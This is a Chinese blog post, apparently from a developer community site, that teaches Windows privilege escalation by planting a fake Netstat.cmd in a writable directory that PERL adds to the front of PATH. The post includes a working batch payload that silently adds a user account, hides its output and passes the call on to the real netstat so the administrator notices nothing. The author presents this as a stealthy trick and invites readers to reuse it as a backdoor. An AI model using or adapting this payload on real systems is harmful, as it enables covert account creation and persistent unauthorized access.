谈环境变量在Hacking中的利用

本文介绍了一种通过修改环境变量Path实现权限提升的方法。利用PERL安装后默认添加到Path变量的特点,通过在可写目录下放置特制的批处理文件,如Netstat.cmd,管理员执行Netstat命令时会无意中执行这些文件,从而达到隐蔽提权的目的。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

 我们知道,当我们把NC一类的常用小工具放在SYSTEM32时,不管我们当前路径在哪,都可以执行NC命令!------Hacking中也提供了不少方便,不是么?

其实这就是 Path 变量所起的作用了!

    如果将Path变量中的内容全部删除,那么原来的系统命令系统都将无法识别了。
也就是说,当我们在CMD中输入些命令时,系统将以如下顺序查找相关程序,来达到直接调用程序或文件的目的!

1.当前目录下的可执行文件!
2.依次查找Path变量中的所指定的目录!

    OK,在大体认识了环境变量后,我们开始切入主题,谈谈如何利用环境变量为我们的Hacking提供便利。
我们知道PERL安装后会在变量Path内容的最前面加入c:/perl/bin //目录依安装而定
而当管理员权限配置不当时,会疏忽此目录的权限配置(默认权限配置,各WIN操作系统均有写权限),也就给我们创造了提权的条件。

下面我举个利用的例子!
//是否可利用,取决于Path变量的位置以及该目录是否可写
//环境变量一定要在系统自带环境变量之前。

假设条件如下:
目标安装了PERL,且目录为c:/perl/bin
//目录可写
系统环境变量中的Path变量内容如下
Path=c:/perl/bin/;C:/WINDOWS/system32;C:/WINDOWS;C:/WINDOWS/System32/Wbem
我们可以在该目录下创建如下文件
Netstat.cmd
or
Netstat.bat //常用系统命令亦可,请自己举一反三!THX~
文件内容如下

@net user netpatch nspcn.org /add>nul
Rem 命令一定要记得加 @ 结尾加
>nul
Rem @是为了隐藏命令本身
Rem >nul 是为了隐藏命令执行完后的结果反馈!
@%systemroot%/system32/netstat.exe %1 %2 %3 %4 %5 %6
Rem 学过批处理命令的同学应该知道这后面的%1 %2 %3等,是起参数的作用。

    当管理员执行命令时,由于Path变量中c:/perl/bin位于系统环境变量的前面,所以,当管理员执行Netstat命令时,系统会首先找当前目录下的可执行文件,默认也就是”C:/Documents and Settings/Administrator/” (依登陆用户而定)当没找到Netstat程序时,就会接着依次寻找环境变量中的Path变量中所定义的目录,第一个当然是c:/perl/bin目录啦..由于系统找的是可执行程序,SO…自然而然的找到了我们的Netstat.bat,然后系统也就理所当然的执行了我们设置好的命令。由于我们构造的巧妙,未露丝毫马脚..成功暗地提权…..
此乃三十六计中的暗渡陈仓也….

    提权的小技巧讲完了…聪明的你或许会想到..如果作为BACKDOOR呢?呵呵~~
    为啥不可呢,有Idea就得试…没测试哪来的正果呢?

 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

inject2006

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值